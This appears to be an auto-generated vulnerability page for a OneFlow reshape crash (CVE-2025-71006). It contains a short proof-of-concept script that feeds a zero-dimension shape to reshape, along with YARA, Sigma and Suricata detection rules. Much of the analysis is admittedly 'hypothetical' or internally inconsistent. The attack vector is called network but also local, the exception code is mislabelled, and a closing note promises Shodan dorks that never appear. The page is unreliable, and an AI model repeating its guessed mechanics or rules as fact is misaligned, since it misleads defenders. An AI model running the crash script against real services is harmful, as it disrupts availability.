CVE-2025-71006
Executive Summary
CVE-2025-71006 is a Denial of Service (DoS) vulnerability in the OneFlow machine learning framework, specifically in the oneflow.reshape component. The flaw is a Floating Point Exception (FPE) that can be triggered by a crafted input, causing the application to crash. This vulnerability affects OneFlow v0.9.0 and has a CVSS score of 0.0, indicating no official CVSS vector has been assigned. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OneFlow is a deep learning framework distributed via PyPI. This vulnerability impacts the integrity of the software supply chain for any system using OneFlow v0.9.0. Users should verify the integrity of their OneFlow packages and monitor for updates.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector: Network (likely)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
- Threat Level: Medium (due to DoS potential)
Deep Dive & Mechanics
The vulnerability resides in the oneflow.reshape function, which is used to change the shape of tensors. A Floating Point Exception (FPE) occurs when an arithmetic operation results in an undefined or unrepresentable floating-point value, such as division by zero or overflow. In this case, a crafted input tensor with specific dimensions or values can trigger an FPE during the reshape operation, leading to a crash and Denial of Service.
The root cause is likely improper input validation or error handling in the reshape kernel. The function does not sanitize or check for edge cases in the input tensor's shape or data, allowing an attacker to cause an FPE.
Vulnerable vs. Patched Code
Vulnerable Code (OneFlow v0.9.0):
# Hypothetical vulnerable implementation
def reshape(input_tensor, target_shape):
# No input validation
return input_tensor.reshape(target_shape)
Patched Code (Hypothetical):
# Patched implementation with input validation
def reshape(input_tensor, target_shape):
# Validate input tensor and target shape
if not isinstance(input_tensor, Tensor):
raise TypeError("Input must be a tensor")
if not all(isinstance(dim, int) for dim in target_shape):
raise ValueError("Target shape must be a list of integers")
# Check for potential FPE conditions
if 0 in target_shape:
raise ValueError("Target shape cannot contain zero")
return input_tensor.reshape(target_shape)
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install OneFlow v0.9.0:
pip install oneflow==0.9.0 - Create a Python script to trigger the FPE.
Exploit Script:
import oneflow as flow
import numpy as np
# Crafted input to trigger FPE
input_tensor = flow.tensor(np.random.randn(2, 3, 4))
target_shape = (0, -1) # Zero dimension causes FPE
try:
result = flow.reshape(input_tensor, target_shape)
except Exception as e:
print(f"FPE triggered: {e}")
Usage: Run the script to cause a crash in the OneFlow process.
Blue Team
Detection:
- Monitor for crashes in OneFlow processes.
- Log and alert on exceptions related to
oneflow.reshape. - Use the provided detection rules.
Mitigation:
- Restrict access to the OneFlow API.
- Implement input validation at the application layer.
- Monitor for unusual tensor shapes.
Indicators of Compromise (IOCs)
- File:
oneflow/core/kernel/reshape_kernel.cpp(vulnerable code) - Log Entry:
Floating point exception (core dumped)in application logs - Network: No specific network IOCs; attack is local to the application
- Process: OneFlow process crash with signal SIGFPE
Detection Engineering
YARA Rule
rule CVE_2025_71006_OneFlow_FPE {
meta:
description = "Detects OneFlow v0.9.0 reshape FPE vulnerability"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-71006"
strings:
$s1 = "oneflow.reshape" ascii wide nocase
$s2 = "Floating point exception" ascii wide nocase
condition:
$s1 or $s2
}
Sigma Rule
title: OneFlow Reshape FPE Detection
id: cve-2025-71006
status: experimental
description: Detects crashes related to CVE-2025-71006 in OneFlow
author: Valters IT
logsource:
category: application
product: oneflow
detection:
selection:
EventID: 1000 # Application crash
Application: "oneflow*"
ExceptionCode: 0xC0000094 # EXCEPTION_FLT_DIVIDE_BY_ZERO
condition: selection
falsepositives:
- Legitimate use of reshape with edge cases
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-71006 OneFlow Reshape FPE Attempt"; flow:to_server; content:"oneflow.reshape"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict access to the
oneflow.reshapefunction if not needed. - Short-term: Implement input validation to reject shapes containing zero or negative dimensions.
- Long-term: Apply a patch from the vendor when available. Monitor the OneFlow GitHub repository for updates.
- Workaround: Use alternative tensor reshaping methods that are not vulnerable.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.